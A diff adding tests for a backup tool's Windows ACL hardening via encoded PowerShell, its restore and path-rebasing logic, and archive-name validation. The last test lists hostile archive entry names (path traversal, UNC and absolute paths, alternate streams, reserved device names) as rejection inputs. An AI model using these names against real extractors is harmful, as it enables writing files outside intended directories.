+ } catch (error) { recordError(error); throw error; }
+ },
+ }));
+ let protectedPath = false;
+ let privateAcl = false;
+ let protectionElapsedMs = 0;
+ let inspectionElapsedMs: number | null = null;
+ const started = performance.now();
+ try {
+ try { await privacy.protectNewBackupPath(path, kind); protectedPath = true; } catch {}
+ protectionElapsedMs = Math.round(performance.now() - started);
+ if (mode === 'dotnet' && protectedPath) {
+ const inspectionStarted = performance.now();
+ try {
+ if (!protectionOptions) throw new Error('Missing original launch options');
+ const actual = JSON.parse(await collectChild(join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe'),
+ ['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand', Buffer.from(inspectProgram, 'utf16le').toString('base64')],
+ { ...protectionOptions, env: { ...process.env, GBRAIN_TEST_ACL_PATH: path } }));
+ privateAcl = typeof actual.user === 'string' && /^S-\d+(?:-\d+)+$/.test(actual.user)
+ && actual.owner === actual.user && actual.protected === true && Array.isArray(actual.rules)
+ && JSON.stringify(actual.rules.map((rule: { sid: string }) => rule.sid).sort()) === JSON.stringify([...new Set([actual.user, 'S-1-5-18'])].sort())
+ && actual.rules.every((rule: { inherited: boolean; allow: string; rights: number; inheritance: number; propagation: number }) =>
+ rule.inherited === false && rule.allow === 'Allow' && rule.rights === 0x1f01ff && rule.inheritance === (kind === 'directory' ? 3 : 0) && rule.propagation === 0);
+ } catch (error) { inspectionError ??= (error as NodeJS.ErrnoException).code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other'; }
+ finally { inspectionElapsedMs = Math.round(performance.now() - inspectionStarted); }
+ }
+ } finally { inspect.mockRestore(); }
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ mode, protectionElapsedMs, inspectionElapsedMs, launches, inspections,
+ bounded, fixedExecutable, stableProgram, nativeError, inspectionError, protectedPath, privateAcl,
+ closedInput: protectionChild?.stdin?.writableEnded === true,
+ pipedOutput: Boolean(protectionChild?.stdout && protectionChild?.stderr),
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: kind === 'directory' ? after.isDirectory() && fs.readdirSync(path).length === 0 : after.isFile() && after.size === 0n && after.nlink === 1n });
+ }
+ process.stderr.write(`Windows backup dotnet controls: ${JSON.stringify({ kind, arch: process.arch, runtime: Bun.version, observations })}\n`);
+ for (const observation of observations) {
+ expect(observation.launches).toBe(1);
+ expect(observation.bounded).toBe(true);
+ expect(observation.fixedExecutable).toBe(true);
+ expect(observation.stableProgram).toBe(true);
+ expect(observation.closedInput).toBe(true);
+ expect(observation.pipedOutput).toBe(true);
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ if (observation.mode !== 'dotnet') continue;
+ expect(observation.protectedPath).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ expect(observation.inspections).toBe(1);
+ expect(observation.privateAcl).toBe(true);
+ expect(observation.inspectionError).toBeNull();
+ }
+}, 120_000);
+
+test.skipIf(process.platform !== 'win32')('private ACL setup isolates built-in Windows PowerShell modules from the inherited environment', async () => {
+ const observations = [];
+ for (const mode of ['ambient', 'builtin', 'builtin', 'ambient'] as const) {
+ const path = join(temporary, `module-path-${observations.length} [literal] 'é`);
+ fs.mkdirSync(path);
+ const before = fs.lstatSync(path, { bigint: true });
+ let launches = 0;
+ let inspections = 0;
+ let inheritedModulePath = false;
+ let bounded = false;
+ let fixedExecutable = false;
+ let forcedSystemModules = false;
+ let nativeError: string | null = null;
+ let inspectionError: string | null = null;
+ const execute = childProcess.execFile;
+ const inspect = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(execute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding;
+ const protection = options?.env?.GBRAIN_BACKUP_PRIVATE_PATH === path;
+ const inspection = options?.env?.GBRAIN_TEST_ACL_PATH === path;
+ if (!protection && !inspection) return Reflect.apply(target, thisArg, args);
+ if (protection) {
+ launches++;
+ inheritedModulePath = Object.entries(options.env!).some(([key, value]) => key.toLowerCase() === 'psmodulepath' && Boolean(value));
+ fixedExecutable = args[0] === join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe');
+ bounded = options.timeout === 15_000 && options.maxBuffer === 64 * 1024 && options.windowsHide === true && !options.shell;
+ } else inspections++;
+ let env = options.env;
+ if (mode === 'builtin') {
+ env = { ...Object.fromEntries(Object.entries(env!).filter(([key]) => key.toLowerCase() !== 'psmodulepath')),
+ PSModulePath: join(dirname(args[0]), 'Modules') };
+ forcedSystemModules = Object.keys(env).filter(key => key.toLowerCase() === 'psmodulepath').length === 1;
+ }
+ const recordError = (error: unknown) => {
+ const code = (error as NodeJS.ErrnoException).code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other';
+ if (protection) nativeError = code;
+ else inspectionError = code;
+ };
+ const callback = args[3];
+ try {
+ return Reflect.apply(target, thisArg, [args[0], args[1], { ...options, env },
+ (error: childProcess.ExecFileException | null, stdout: string, stderr: string) => {
+ if (error) recordError(error);
+ callback(error, stdout, stderr);
+ }]);
+ }
+ catch (error) { recordError(error); throw error; }
+ },
+ }));
+ let protectedPath = false;
+ let privateAcl = false;
+ const started = performance.now();
+ try {
+ try { await privacy.protectNewBackupPath(path, 'directory'); protectedPath = true; } catch {}
+ if (mode === 'builtin' && protectedPath) {
+ try { await expectPrivate(path, true, true); privateAcl = true; } catch {}
+ }
+ } finally { inspect.mockRestore(); }
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ mode, elapsedMs: Math.round(performance.now() - started), launches, inspections, inheritedModulePath,
+ bounded, fixedExecutable, forcedSystemModules, nativeError, inspectionError, protectedPath, privateAcl,
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: after.isDirectory() && fs.readdirSync(path).length === 0 });
+ }
+ process.stderr.write(`Windows backup module controls: ${JSON.stringify({ arch: process.arch, runtime: Bun.version, observations })}\n`);
+ for (const observation of observations) {
+ expect(observation.launches).toBe(1);
+ expect(observation.bounded).toBe(true);
+ expect(observation.fixedExecutable).toBe(true);
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ if (observation.mode !== 'builtin') continue;
+ expect(observation.forcedSystemModules).toBe(true);
+ expect(observation.protectedPath).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ expect(observation.inspections).toBe(1);
+ expect(observation.privateAcl).toBe(true);
+ expect(observation.inspectionError).toBeNull();
+ }
+}, 120_000);
+
+for (const kind of ['directory', 'file'] as const) test.skipIf(process.platform !== 'win32')(`private ${kind} ACL setup uses an explicitly closed input pipe`, async () => {
+ const capturePath = join(temporary, `input-capture-${kind}`);
+ if (kind === 'directory') fs.mkdirSync(capturePath);
+ else fs.writeFileSync(capturePath, '');
+ let launch: { executable: string; args: string[]; options: childProcess.ExecFileOptionsWithStringEncoding; child: childProcess.ChildProcess } | undefined;
+ const captureExecute = childProcess.execFile;
+ const capture = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(captureExecute, {
+ apply(target, thisArg, args) {
+ const child = Reflect.apply(target, thisArg, args);
+ if (args[2]?.env?.GBRAIN_BACKUP_PRIVATE_PATH === capturePath) {
+ expect(launch).toBeUndefined();
+ launch = { executable: args[0], args: [...args[1]], options: { ...args[2] }, child };
+ }
+ return child;
+ },
+ }));
+ try { await privacy.protectNewBackupPath(capturePath, kind); }
+ finally { capture.mockRestore(); }
+ expect(launch).toBeDefined();
+ const captured = launch!;
+ expect(captured.child.stdin?.writableEnded).toBe(true);
+ expect(Boolean(captured.child.stdout && captured.child.stderr)).toBe(true);
+ await expectPrivate(capturePath, kind === 'directory', true);
+ const observations = [];
+ for (const mode of ['baseline', 'candidate', 'candidate', 'baseline'] as const) {
+ const path = join(temporary, `closed-input-${kind}-${observations.length} [literal] 'é`);
+ if (kind === 'directory') fs.mkdirSync(path);
+ else fs.writeFileSync(path, '');
+ const before = fs.lstatSync(path, { bigint: true });
+ let launches = 0;
+ let productionClosedInput = captured.child.stdin?.writableEnded === true && Boolean(captured.child.stdout && captured.child.stderr);
+ let bounded = captured.options.timeout === 15_000 && captured.options.maxBuffer === 64 * 1024 && captured.options.shell === undefined;
+ let nativeError: string | null = null;
+ let protectedPath = false;
+ let launchedChild: childProcess.ChildProcess | undefined;
+ const execute = childProcess.execFile;
+ const inspect = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(execute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding | undefined;
+ if (options?.env?.GBRAIN_BACKUP_PRIVATE_PATH !== path) return Reflect.apply(target, thisArg, args);
+ launches++;
+ bounded = options.timeout === 15_000 && options.maxBuffer === 64 * 1024 && options.shell === undefined;
+ const callback = args[3];
+ launchedChild = Reflect.apply(target, thisArg, [args[0], args[1], options,
+ (error: childProcess.ExecFileException | null, stdout: string, stderr: string) => {
+ if (error) nativeError = error.code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other';
+ callback(error, stdout, stderr);
+ }]);
+ return launchedChild;
+ },
+ }));
+ const started = performance.now();
+ try {
+ if (mode === 'baseline') {
+ launches++;
+ protectedPath = execFileSync(captured.executable, captured.args, { ...captured.options,
+ env: { ...captured.options.env, GBRAIN_BACKUP_PRIVATE_PATH: path }, input: undefined, stdio: ['ignore', 'pipe', 'pipe'],
+ }) === 'private';
+ } else {
+ await privacy.protectNewBackupPath(path, kind);
+ protectedPath = true;
+ }
+ } catch (error) {
+ nativeError ??= (error as NodeJS.ErrnoException).code === 'ETIMEDOUT' ? 'ETIMEDOUT' : 'other';
+ if (mode === 'candidate' && (!(error instanceof AgentInstallError) || error.code !== 'private_backup_path_unavailable')) throw error;
+ }
+ finally { inspect.mockRestore(); }
+ if (mode === 'candidate') productionClosedInput = launchedChild?.stdin?.writableEnded === true && Boolean(launchedChild?.stdout && launchedChild?.stderr);
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ path, mode, elapsedMs: Math.round(performance.now() - started), launches, productionClosedInput, bounded, nativeError, protectedPath,
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: kind === 'directory' ? fs.readdirSync(path).length === 0 : after.size === 0n && after.nlink === 1n });
+ }
+ process.stderr.write(`Windows backup launch controls: ${JSON.stringify({ kind, arch: process.arch, runtime: Bun.version,
+ observations: observations.map(({ path, ...observation }) => observation) })}\n`);
+ for (const observation of observations) {
+ expect(observation.launches).toBe(1);
+ expect(observation.productionClosedInput).toBe(true);
+ expect(observation.bounded).toBe(true);
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ if (observation.mode === 'candidate') {
+ expect(observation.protectedPath).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ await expectPrivate(observation.path, kind === 'directory', true);
+ }
+ }
+}, 120_000);
+
+for (const kind of ['directory', 'file'] as const) test.skipIf(process.platform !== 'win32')(`private ${kind} ACL launch completes with asynchronous subprocess collection`, async () => {
+ const capturePath = join(temporary, `capture-${kind}`);
+ if (kind === 'directory') fs.mkdirSync(capturePath);
+ else fs.writeFileSync(capturePath, '');
+ let launch: { executable: string; args: string[]; options: childProcess.ExecFileOptionsWithStringEncoding } | undefined;
+ let capturedChild: childProcess.ChildProcess | undefined;
+ let capturedError: childProcess.ExecFileException | null | undefined;
+ let capturedOutput: string | undefined;
+ let capturedCalls = 0;
+ const execute = childProcess.execFileSync;
+ const captureExecute = childProcess.execFile;
+ const capture = spyOn(childProcess, 'execFile').mockImplementation(new Proxy(captureExecute, {
+ apply(target, thisArg, args) {
+ const options = args[2] as childProcess.ExecFileOptionsWithStringEncoding;
+ if (options.env?.GBRAIN_BACKUP_PRIVATE_PATH !== capturePath) return Reflect.apply(target, thisArg, args);
+ capturedCalls++;
+ launch = { executable: args[0], args: [...args[1]], options: { ...options } };
+ const callback = args[3];
+ capturedChild = Reflect.apply(target, thisArg, [args[0], args[1], options,
+ (error: childProcess.ExecFileException | null, stdout: string, stderr: string) => {
+ capturedError = error;
+ capturedOutput = stdout;
+ callback(error ?? new Error('injected captured-launch callback failure'), stdout, stderr);
+ }]);
+ return capturedChild;
+ },
+ }));
+ try { await expect(privacy.protectNewBackupPath(capturePath, kind)).rejects.toThrow(AgentInstallError); }
+ finally { capture.mockRestore(); }
+ expect(capturedCalls).toBe(1);
+ expect(capturedError).toBeNull();
+ expect(capturedOutput).toBe('private');
+ expect(launch !== undefined).toBe(true);
+ const captured = launch!;
+ expect(captured.executable === join(process.env.SystemRoot ?? 'C:\\Windows', 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe')).toBe(true);
+ expect(captured.options.timeout).toBe(15_000);
+ expect(captured.options.maxBuffer).toBe(64 * 1024);
+ expect(captured.options.shell).toBeUndefined();
+ expect(captured.options.windowsHide).toBe(true);
+ expect(capturedChild?.stdin?.writableEnded).toBe(true);
+ expect(Boolean(capturedChild?.stdout && capturedChild?.stderr)).toBe(true);
+ const classify = (error: unknown) => {
+ const code = (error as NodeJS.ErrnoException).code;
+ return code === 'ETIMEDOUT' ? 'ETIMEDOUT' : code === 'ERR_CHILD_PROCESS_STDIO_MAXBUFFER' ? 'MAXBUFFER'
+ : code === 'GBRAIN_TEST_COMPLETION_TIMEOUT' ? 'WATCHDOG' : code === 'GBRAIN_TEST_INPUT_FAILURE' ? 'INPUT' : 'other';
+ };
+ const collect = (args: string[], env: NodeJS.ProcessEnv) => collectChild(captured.executable, args, { ...captured.options, env });
+ const observations = [];
+ for (const mode of ['sync', 'async', 'async', 'sync'] as const) {
+ const path = join(temporary, `collection-${kind}-${observations.length} [literal] 'é`);
+ if (kind === 'directory') fs.mkdirSync(path);
+ else fs.writeFileSync(path, '');
+ const before = fs.lstatSync(path, { bigint: true });
+ const env = { ...captured.options.env, GBRAIN_BACKUP_PRIVATE_PATH: path };
+ let completed = false;
+ let nativeError: string | null = null;
+ let killed = false;
+ const started = performance.now();
+ try {
+ const result = mode === 'sync' ? execute(captured.executable, captured.args, {
+ ...captured.options, env, input: Buffer.alloc(0), stdio: ['pipe', 'pipe', 'pipe'],
+ }) : await collect(captured.args, env);
+ completed = result === 'private';
+ } catch (error) {
+ const failure = error as NodeJS.ErrnoException & { killed?: boolean };
+ nativeError = classify(error);
+ killed = failure.killed === true;
+ }
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ path, mode, elapsedMs: Math.round(performance.now() - started), completed, nativeError, killed,
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: kind === 'directory' ? after.isDirectory() && fs.readdirSync(path).length === 0 : after.isFile() && after.size === 0n && after.nlink === 1n,
+ privateAcl: false, aclError: null as string | null });
+ }
+ for (const observation of observations) {
+ if (observation.mode !== 'async') continue;
+ const script = fs.readFileSync(join(import.meta.dir, 'fixtures/windows-backup-dotnet-inspect.ps1'), 'utf8');
+ try {
+ const actual = JSON.parse(await collect(['-NoLogo', '-NoProfile', '-NonInteractive', '-EncodedCommand', Buffer.from(script, 'utf16le').toString('base64')],
+ { ...captured.options.env, GBRAIN_TEST_ACL_PATH: observation.path }));
+ observation.privateAcl = typeof actual.user === 'string' && /^S-\d+(?:-\d+)+$/.test(actual.user)
+ && actual.owner === actual.user && actual.protected === true && Array.isArray(actual.rules)
+ && JSON.stringify(actual.rules.map((rule: { sid: string }) => rule.sid).sort()) === JSON.stringify([...new Set([actual.user, 'S-1-5-18'])].sort())
+ && actual.rules.every((rule: { inherited: boolean; allow: string; rights: number; inheritance: number; propagation: number }) =>
+ rule.inherited === false && rule.allow === 'Allow' && rule.rights === 0x1f01ff && rule.inheritance === (kind === 'directory' ? 3 : 0) && rule.propagation === 0);
+ } catch (error) { observation.aclError = classify(error); }
+ }
+ const stagedPath = join(temporary, `staged-${kind} [literal] 'é`);
+ const tracePath = join(temporary, `staged-${kind}.trace`);
+ if (kind === 'directory') fs.mkdirSync(stagedPath);
+ else fs.writeFileSync(stagedPath, '');
+ const stagedBefore = fs.lstatSync(stagedPath, { bigint: true });
+ fs.writeFileSync(tracePath, '', { flag: 'wx', mode: 0o600 });
+ const trace = (stage: string) => `[IO.File]::AppendAllText($env:GBRAIN_TEST_ACL_STAGE, '${stage}' + [Environment]::NewLine)`;
+ const checkpoints = [
+ ["$ErrorActionPreference = 'Stop'", 'entry'],
+ ['$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().User', 'identity'],
+ ["if ($user.Value -ne 'S-1-5-18') { $sids += 'S-1-5-18' }", 'principals'],
+ ['$attributes = [IO.File]::GetAttributes($path)', 'item'],
+ ['if ($directory) { [IO.Directory]::SetAccessControl($path, $acl) } else { [IO.File]::SetAccessControl($path, $acl) }', 'after-set'],
+ ['$actual = if ($directory) { [IO.Directory]::GetAccessControl($path) } else { [IO.File]::GetAccessControl($path) }', 'read-back'],
+ ] as const;
+ expect(captured.args.at(-2) === '-EncodedCommand').toBe(true);
+ let stagedProgram = Buffer.from(captured.args.at(-1)!, 'base64').toString('utf16le');
+ for (const [line, stage] of checkpoints) {
+ expect(stagedProgram.split(line).length).toBe(2);
+ stagedProgram = stagedProgram.replace(line, `${stage === 'after-set' ? trace('before-set') + '\n' : ''}${line}\n${trace(stage)}`);
+ }
+ expect(stagedProgram.split("[Console]::Write('private')").length).toBe(2);
+ stagedProgram = stagedProgram.replace("[Console]::Write('private')", `${trace('verified')}\n[Console]::Write('private')\n${trace('output-write-returned')}`);
+ let stagedCompleted = false;
+ let stagedError: string | null = null;
+ const stagedStarted = performance.now();
+ try {
+ stagedCompleted = execute(captured.executable, [...captured.args.slice(0, -1), Buffer.from(stagedProgram, 'utf16le').toString('base64')],
+ { ...captured.options, input: Buffer.alloc(0), stdio: ['pipe', 'pipe', 'pipe'],
+ env: { ...captured.options.env, GBRAIN_BACKUP_PRIVATE_PATH: stagedPath, GBRAIN_TEST_ACL_STAGE: tracePath } }) === 'private';
+ } catch (error) { stagedError = classify(error); }
+ const stagedElapsedMs = Math.round(performance.now() - stagedStarted);
+ const stagedAfter = fs.lstatSync(stagedPath, { bigint: true });
+ const stagedSameIdentity = stagedBefore.dev === stagedAfter.dev && stagedBefore.ino === stagedAfter.ino && stagedBefore.birthtimeNs === stagedAfter.birthtimeNs;
+ const stagedEmpty = kind === 'directory' ? stagedAfter.isDirectory() && fs.readdirSync(stagedPath).length === 0
+ : stagedAfter.isFile() && stagedAfter.size === 0n && stagedAfter.nlink === 1n;
+ const allowedStages = ['entry', 'identity', 'principals', 'item', 'before-set', 'after-set', 'read-back', 'verified', 'output-write-returned'];
+ const traceBytes = fs.readFileSync(tracePath);
+ const recordedStages = traceBytes.length <= 128 ? traceBytes.toString('utf8').split(/\r?\n/).filter(Boolean) : [];
+ const validTrace = traceBytes.length <= 128 && recordedStages.every(stage => allowedStages.includes(stage))
+ && JSON.stringify(recordedStages) === JSON.stringify(allowedStages.slice(0, recordedStages.length));
+ let sameResolvedExecutable: boolean | null = null;
+ try {
+ const resolved = Bun.which('powershell.exe');
+ if (resolved) {
+ const a = fs.statSync(resolved, { bigint: true }), b = fs.statSync(captured.executable, { bigint: true });
+ if (a.ino && b.ino) sameResolvedExecutable = a.dev === b.dev && a.ino === b.ino;
+ }
+ } catch {}
+ process.stderr.write(`Windows backup collection controls: ${JSON.stringify({ kind, arch: process.arch, runtime: Bun.version,
+ observations: observations.map(({ path, ...observation }) => observation),
+ staged: { elapsedMs: stagedElapsedMs, completed: stagedCompleted, nativeError: stagedError, sameIdentity: stagedSameIdentity, empty: stagedEmpty,
+ validTrace, stages: validTrace ? recordedStages : [], sameResolvedExecutable } })}\n`);
+ expect(validTrace).toBe(true);
+ expect(stagedSameIdentity).toBe(true);
+ expect(stagedEmpty).toBe(true);
+ if (stagedCompleted) expect(recordedStages).toEqual(allowedStages);
+ for (const observation of observations) {
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ if (observation.mode !== 'async') continue;
+ expect(observation.completed).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ expect(observation.privateAcl).toBe(true);
+ expect(observation.aclError).toBeNull();
+ }
+}, 120_000);
+
+for (const kind of ['directory', 'file'] as const) test.skipIf(process.platform !== 'win32')(`private ${kind} protection and independent ACL inspection survive idle beyond the child timeout`, async () => {
+ const reference = join(temporary, `idle-reference-${kind} [literal] 'é`);
+ if (kind === 'directory') fs.mkdirSync(reference);
+ else fs.writeFileSync(reference, '');
+ await privacy.protectNewBackupPath(reference, kind);
+ await expectPrivate(reference, kind === 'directory', true);
+ const observations = [];
+ for (const operation of ['protection', 'inspection'] as const) {
+ for (const idleMs of [0, 16_000, 0]) {
+ const path: string = operation === 'inspection' ? reference : join(temporary, `idle-${kind}-${observations.length} [literal] 'é`);
+ if (operation === 'protection') {
+ if (kind === 'directory') fs.mkdirSync(path);
+ else fs.writeFileSync(path, '');
+ }
+ const before = fs.lstatSync(path, { bigint: true });
+ const idleStarted = performance.now();
+ if (idleMs) await Bun.sleep(idleMs);
+ const idleObservedMs = performance.now() - idleStarted;
+ const started = performance.now();
+ let completed = false;
+ let privateAcl = false;
+ let nativeError: string | null = null;
+ try {
+ if (operation === 'protection') await privacy.protectNewBackupPath(path, kind);
+ completed = true;
+ await expectPrivate(path, kind === 'directory', true);
+ privateAcl = true;
+ } catch (error) {
+ const code = (error as NodeJS.ErrnoException).code;
+ nativeError = code === 'private_backup_path_unavailable' ? code : code === 'ETIMEDOUT' ? code : 'other';
+ }
+ const after = fs.lstatSync(path, { bigint: true });
+ observations.push({ operation, idleMs, idleObservedMs, elapsedMs: Math.round(performance.now() - started), completed, privateAcl, nativeError,
+ sameIdentity: before.dev === after.dev && before.ino === after.ino && before.birthtimeNs === after.birthtimeNs,
+ empty: kind === 'directory' ? after.isDirectory() && fs.readdirSync(path).length === 0 : after.isFile() && after.size === 0n && after.nlink === 1n });
+ }
+ }
+ process.stderr.write(`Windows backup idle controls: ${JSON.stringify({ kind, arch: process.arch, runtime: Bun.version, observations })}\n`);
+ expect(observations).toHaveLength(6);
+ for (const observation of observations) {
+ if (observation.idleMs) expect(observation.idleObservedMs).toBeGreaterThan(15_000);
+ expect(observation.completed).toBe(true);
+ expect(observation.privateAcl).toBe(true);
+ expect(observation.nativeError).toBeNull();
+ expect(observation.sameIdentity).toBe(true);
+ expect(observation.empty).toBe(true);
+ }
+}, 120_000);
+
+test('native create, verify, absent-root restore and fresh-process reopen preserve exact data and nested paths', async () => {
+ const protect = privacy.protectNewBackupPath;
+ const protectedKinds: string[] = [];
+ const inspected = spyOn(privacy, 'protectNewBackupPath').mockImplementation(async (path, kind) => {
+ await protect(path, kind);
+ await expectPrivate(path, kind === 'directory', true);
+ protectedKinds.push(kind);
+ });
+ let created: Awaited<ReturnType<typeof createPgliteBackup>>;
+ try { created = await createPgliteBackup({ root, output: archive }); }
+ finally { inspected.mockRestore(); }
+ expect(protectedKinds).toEqual(['directory', 'file']);
+ archiveHash = sha256(fs.readFileSync(archive));
+ await expectPrivate(archive, false, true);
+ expect(created.manifest.entries.length).toBeGreaterThanOrEqual(5);
+ expect(created.manifest.entries.every(entry => !entry.path.includes('\\'))).toBe(true);
+ expect(created.manifest.sources).toContainEqual({ id: 'nested', local_path: join(root, 'memory', 'nested'), managed_relative_path: 'memory/nested' });
+ const verified = join(temporary, 'verified'); fs.mkdirSync(verified, { mode: 0o700 });
+ expect(readBackupArchive(archive, verified)).toEqual(created.manifest);
+ expect(fs.readFileSync(join(verified, 'files', 'memory', 'attachments', 'nested', 'bytes.bin'))).toEqual(attachment);
+ const cluster = join(temporary, 'cluster'); fs.mkdirSync(cluster, { mode: 0o700 });
+ extractPgliteDump(join(verified, 'database.tar'), cluster);
+ for (const directory of emptyDirectories) expect(fs.readdirSync(join(cluster, directory))).toEqual([]);
+ const into = join(temporary, 'restored'); expect(fs.existsSync(into)).toBe(false);
+ const result = await restorePgliteBackup({ archive, into });
+ await expectPrivate(into, true, true);
+ await expectPrivate(join(into, '.gbrain', 'brain.pglite', 'PG_VERSION'), false);
+ expect(result.quarantined_jobs).toBe(1);
+ expect(result.reconnect_required.some(line => line.includes('2 legacy absolute page origins were preserved unchanged'))).toBe(true);
+ const program = `import {PGLiteEngine} from ${JSON.stringify(pathToFileURL(resolve(import.meta.dir, '../src/core/pglite-engine.ts')).href)};
+const engine = new PGLiteEngine(); await engine.connectForRestore({engine:'pglite',database_path:${JSON.stringify(join(into, '.gbrain', 'brain.pglite'))}});
+try { const state = {}; for (const [key, sql] of Object.entries(${JSON.stringify(queries)})) state[key] = await engine.executeRaw(sql); console.log(JSON.stringify(state)); } finally { await engine.disconnect(); }`;
+ const child = Bun.spawn([process.execPath, '--no-env-file', '--eval', program], { cwd: temporary, env: { ...process.env, GBRAIN_HOME: into }, stdout: 'pipe', stderr: 'pipe' });
+ const timer = setTimeout(() => child.kill(), 45_000);
+ let reopened: typeof original;
+ try {
+ const [stdout, stderr, code] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]);
+ expect({ code, stderr: code === 0 ? '' : stderr }).toEqual({ code: 0, stderr: '' });
+ reopened = JSON.parse(stdout);
+ } finally { clearTimeout(timer); }
+ expect(reopened.pages).toHaveLength(4);
+ expect(reopened.pages).toEqual(original.pages.map(page => page.slug === 'fixture-0' ? { ...page, source_path: join(into, 'memory', 'nested', 'note.md') } : page));
+ expect(reopened.chunks).toHaveLength(2);
+ expect(reopened.chunks).toEqual(original.chunks);
+ expect(reopened.facts).toEqual(original.facts);
+ expect(reopened.sources.find(source => source.id === 'nested')?.local_path).toBe(join(into, 'memory', 'nested'));
+ expect(reopened.sources.find(source => source.id === 'external')?.local_path).toBeNull();
+ expect(reopened.jobs).toHaveLength(2);
+ expect(reopened.jobs[0]).toMatchObject({ status: 'cancelled', lock_token: null, lock_until: null, data: { __restore_previous_status: 'waiting' } });
+ expect(reopened.jobs[1]).toEqual(original.jobs[1]);
+ expect(reopened.settings).toEqual([{ key: 'connectors.chatgpt.auto_sync', value: 'false' }, { key: 'mcp.skills_dir', value: join(into, 'instructions', 'nested') }, { key: 'sync.repo_path', value: join(into, 'memory', 'nested') }]);
+ const config = JSON.parse(fs.readFileSync(join(into, '.gbrain', 'config.json'), 'utf8'));
+ expect(config.storage.localPath).toBe(join(into, 'memory', 'attachments', 'nested'));
+ expect(config.mcp.skills_dir).toBe(join(into, 'instructions', 'nested'));
+ expect(config.autopilot.auto_drain.enabled).toBe(false);
+ expect(fs.readFileSync(join(config.storage.localPath, 'bytes.bin'))).toEqual(attachment);
+ await expectPrivate(join(config.storage.localPath, 'bytes.bin'), false);
+ expect(fs.readFileSync(join(into, 'memory', 'nested', 'note.md'))).toEqual(fs.readFileSync(join(root, 'memory', 'nested', 'note.md')));
+ for (const directory of emptyDirectories) expect(fs.readdirSync(join(into, '.gbrain', 'brain.pglite', directory))).toEqual([]);
+ expect(readInstallReceipt(into)).toMatchObject({ state: 'installing', native: { verification: 'unverified' } });
+ expect(fs.existsSync(join(into, '.gbrain', 'autopilot-paused'))).toBe(true);
+ expect(fs.existsSync(join(into, 'bin', 'gbrain'))).toBe(false);
+ expect(JSON.parse(fs.readFileSync(join(into, 'restore-receipt.json'), 'utf8'))).toMatchObject({ state: 'ready', launcher_ready: false, setup_required: true, native_automation_started: false });
+ await expectOriginal();
+}, 120_000);
+
+test('recorded Windows and POSIX path semantics rebase only provably managed paths', () => {
+ for (const [originalRoot, nested] of [['C:\\old\\brain', 'C:\\old\\brain\\memory\\nested'], ['/old/brain', '/old/brain/memory/nested']]) {
+ expect(relativeBackupPath(originalRoot, nested)).toBe('memory/nested');
+ expect(rebaseRestorePath(nested, originalRoot, root, ['memory'])).toBe(join(root, 'memory', 'nested'));
+ expect(rebaseManagedConfig({ engine: 'pglite', mcp: { skills_dir: nested } }, originalRoot, root, ['memory'], []).mcp?.skills_dir).toBe(join(root, 'memory', 'nested'));
+ }
+ for (const value of ['C:memory\\nested', '\\memory\\nested', 'D:\\old\\brain\\memory\\nested', 'C:\\old\\brain\\memory\\..\\outside']) expect(relativeBackupPath('C:\\old\\brain', value)).toBeNull();
+ expect(relativeBackupPath('/old/brain', '/old/brain/memory/literal\\name')).toBeNull();
+ expect(rebaseRestorePath('/old/brain/memory-other/note', '/old/brain', root, ['memory'])).toBeNull();
+ expect(confinedPath(root + '/', 'memory/nested')).toBe(join(root, 'memory', 'nested'));
+ expect(() => confinedPath('relative-root', 'memory/nested')).toThrow('absolute');
+ expect(() => confinedPath(join(root, 'memory') + '/../instructions', 'nested')).toThrow('traversal');
+});
+
+test('portable manifests reject traversal, absolute names and Windows aliases before extraction', async () => {
+ const into = join(temporary, 'unsafe-entries'); fs.mkdirSync(into);
+ const input = join(root, 'memory', 'nested', 'note.md');
+ for (const name of ['../escape', '/absolute', 'C:/absolute', 'C:relative', '//server/share', '\\\\server\\share', 'a\\b', 'a//b', './a', 'a/../b', 'a/./b', 'a/', 'a\0b', 'a\nb', 'a:stream', 'a.', 'a ', 'CON', 'nul.txt', 'com1', 'LPT9.log', 'x/aux', 'conin$', 'conout$.txt', 'CON .txt', 'a?b', 'a*b']) {
+ const bad = join(temporary, 'bad-entry'); rawArchive(bad, [name]);
+ expect(() => readBackupArchive(bad, into)).toThrow();
+ expect(fs.readdirSync(into)).toEqual([]);
+ await expect(writeBackupArchive(join(temporary, 'bad-output'), {}, [{ path: name, file: input }])).rejects.toThrow();
+ expect(fs.existsSync(join(temporary, 'bad-output'))).toBe(false);
+ }
